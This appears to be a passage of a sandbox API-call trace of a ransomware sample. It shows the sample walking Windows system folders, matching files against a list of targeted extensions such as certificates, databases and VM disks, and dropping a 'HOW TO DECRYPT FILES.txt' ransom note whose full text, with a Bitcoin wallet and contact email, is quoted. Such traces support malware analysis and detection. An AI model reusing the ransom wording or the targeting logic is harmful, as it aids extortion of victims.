PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.asm") returned 0 [0100.914] lstrlenA (lpString="*.asm") returned 5 [0100.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.pfx") returned 0 [0100.914] lstrlenA (lpString="*.pfx") returned 5 [0100.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.pem") returned 0 [0100.914] lstrlenA (lpString="*.pem") returned 5 [0100.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.p12") returned 0 [0100.914] lstrlenA (lpString="*.p12") returned 5 [0100.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.gpg") returned 0 [0100.914] lstrlenA (lpString="*.gpg") returned 5 [0100.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.vsd") returned 0 [0100.914] lstrlenA (lpString="*.vsd") returned 5 [0100.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.odg") returned 0 [0100.914] lstrlenA (lpString="*.odg") returned 5 [0100.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.raw") returned 0 [0100.914] lstrlenA (lpString="*.raw") returned 5 [0100.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.nef") returned 0 [0100.914] lstrlenA (lpString="*.nef") returned 5 [0100.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.svg") returned 0 [0100.915] lstrlenA (lpString="*.svg") returned 5 [0100.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.psd") returned 0 [0100.915] lstrlenA (lpString="*.psd") returned 5 [0100.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.vmx") returned 0 [0100.915] lstrlenA (lpString="*.vmx") returned 5 [0100.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.vmdk") returned 0 [0100.915] lstrlenA (lpString="*.vmdk") returned 6 [0100.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.vdi") returned 0 [0100.915] lstrlenA (lpString="*.vdi") returned 5 [0100.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.lay6") returned 0 [0100.915] lstrlenA (lpString="*.lay6") returned 6 [0100.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.mpeg") returned 0 [0100.915] lstrlenA (lpString="*.mpeg") returned 6 [0100.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.djvu") returned 0 [0100.915] lstrlenA (lpString="*.djvu") returned 6 [0100.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.tiff") returned 0 [0100.915] lstrlenA (lpString="*.tiff") returned 6 [0100.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.backup") returned 0 [0100.916] lstrlenA (lpString="*.backup") returned 8 [0100.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.pdf") returned 0 [0100.916] lstrlenA (lpString="*.pdf") returned 5 [0100.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.cert") returned 0 [0100.916] lstrlenA (lpString="*.cert") returned 6 [0100.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.docm") returned 0 [0100.916] lstrlenA (lpString="*.docm") returned 6 [0100.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.xlsm") returned 0 [0100.916] lstrlenA (lpString="*.xlsm") returned 6 [0100.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.dwg") returned 0 [0100.916] lstrlenA (lpString="*.dwg") returned 5 [0100.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.nd") returned 0 [0100.916] lstrlenA (lpString="*.nd") returned 4 [0100.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.tlg") returned 0 [0100.916] lstrlenA (lpString="*.tlg") returned 5 [0100.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.lgb") returned 0 [0100.916] lstrlenA (lpString="*.lgb") returned 5 [0100.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.mov") returned 0 [0100.916] lstrlenA (lpString="*.mov") returned 5 [0100.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.xdw") returned 0 [0100.916] lstrlenA (lpString="*.xdw") returned 5 [0100.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.ods") returned 0 [0100.916] lstrlenA (lpString="*.ods") returned 5 [0100.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.wav") returned 0 [0100.917] lstrlenA (lpString="*.wav") returned 5 [0100.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.mp3") returned 0 [0100.917] lstrlenA (lpString="*.mp3") returned 5 [0100.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.aiff") returned 0 [0100.917] lstrlenA (lpString="*.aiff") returned 6 [0100.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.flac") returned 0 [0100.917] lstrlenA (lpString="*.flac") returned 6 [0100.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.m4a") returned 0 [0100.917] lstrlenA (lpString="*.m4a") returned 5 [0100.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", pszSpec="*.csv") returned 0 [0100.917] lstrlenA (lpString="*.csv") returned 5 [0100.917] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x853133a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x853133a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x853133a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Office.Interop.VisOcx.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0100.917] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.917] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x853133a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x9af34520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9af34520, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 0 [0100.917] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.917] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6cd8b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6cd8b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6cd8b10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0050, dwReserved1=0x69006c, cFileName="Policy.11.0.Microsoft.Office.Interop.Word", cAlternateFileName="POLICY~1.WOR")) returned 1 [0100.917] lstrcmpA (lpString1=".", lpString2="Policy.11.0.Microsoft.Office.Interop.Word") returned -1 [0100.917] lstrcmpA (lpString1="..", lpString2="Policy.11.0.Microsoft.Office.Interop.Word") returned -1 [0100.917] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.918] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.11.0.Microsoft.Office.Interop.Word" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word" [0100.918] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word") returned 70 [0100.918] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6cd8b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6cd8b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6cd8b10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.918] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.918] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6cd8b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6cd8b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6cd8b10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.919] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.919] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.919] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e60d530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6cb29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6cb29b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 1 [0100.919] lstrcmpA (lpString1=".", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.919] lstrcmpA (lpString1="..", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.919] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\*.*") returned="*.*" [0100.919] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c" [0100.919] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c") returned 97 [0100.919] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e60d530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6cb29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6cb29b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650031, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.923] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.923] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e60d530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6cb29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6cb29b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.923] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.923] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.923] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70959970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70959970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70959970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Office.Interop.Word.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0100.923] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.923] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.Word.config") returned -1 [0100.923] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.Word.config") returned -1 [0100.923] lstrcmpiA (lpString1="", lpString2="Policy.11.0.Microsoft.Office.Interop.Word.config") returned -1 [0100.923] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0100.923] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\" [0100.924] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.924] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.924] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.word\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0100.924] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.word\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.925] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0100.925] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0100.927] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.927] CloseHandle (hObject=0x90) returned 1 [0100.927] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.11.0.Microsoft.Office.Interop.Word.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Word.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Word.config" [0100.927] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Word.config", pszSpec="*.ems") returned 0 [0100.927] lstrlenA (lpString="*.ems") returned 5 [0100.927] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Word.config", pszSpec="*.db") returned 0 [0100.927] lstrlenA (lpString="*.db") returned 4 [0100.927] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Word.config", pszSpec="*.dbf") returned 0 [0100.927] lstrlenA (lpString="*.dbf") returned 5 [0100.927] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Word.config", pszSpec="*.myox") returned 0 [0100.927] lstrlenA (lpString="*.myox") returned 6 [0100.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Word.config", pszSpec="*.myo") returned 0 [0100.928] lstrlenA (lpString="*.myo") returned 5 [0100.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Word.config", pszSpec="*.qbw") returned 0 [0100.928] lstrlenA (lpString="*.qbw") returned 5 [0100.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Word.config", pszSpec="*.qbb") returned 0 [0100.928] lstrlenA (lpString="*.qbb") returned 5 [0100.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Word.config", pszSpec="*.qbm") returned 0 [0100.928] lstrlenA (lpString="*.qbm") returned 5 [0100.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Word.config", pszSpec="*.qbo") returned 0 [0100.928] lstrlenA (lpString="*.qbo") returned 5 [0100.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Word.config", pszSpec="*.qbx") returned 0 [0100.928] lstrlenA (lpString="*.qbx") returned 5 [0100.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Word.config", pszSpec="*.qba") returned 0 [0100.929] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e60d530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e60d530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e60d530, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Office.Interop.Word.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0100.929] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, 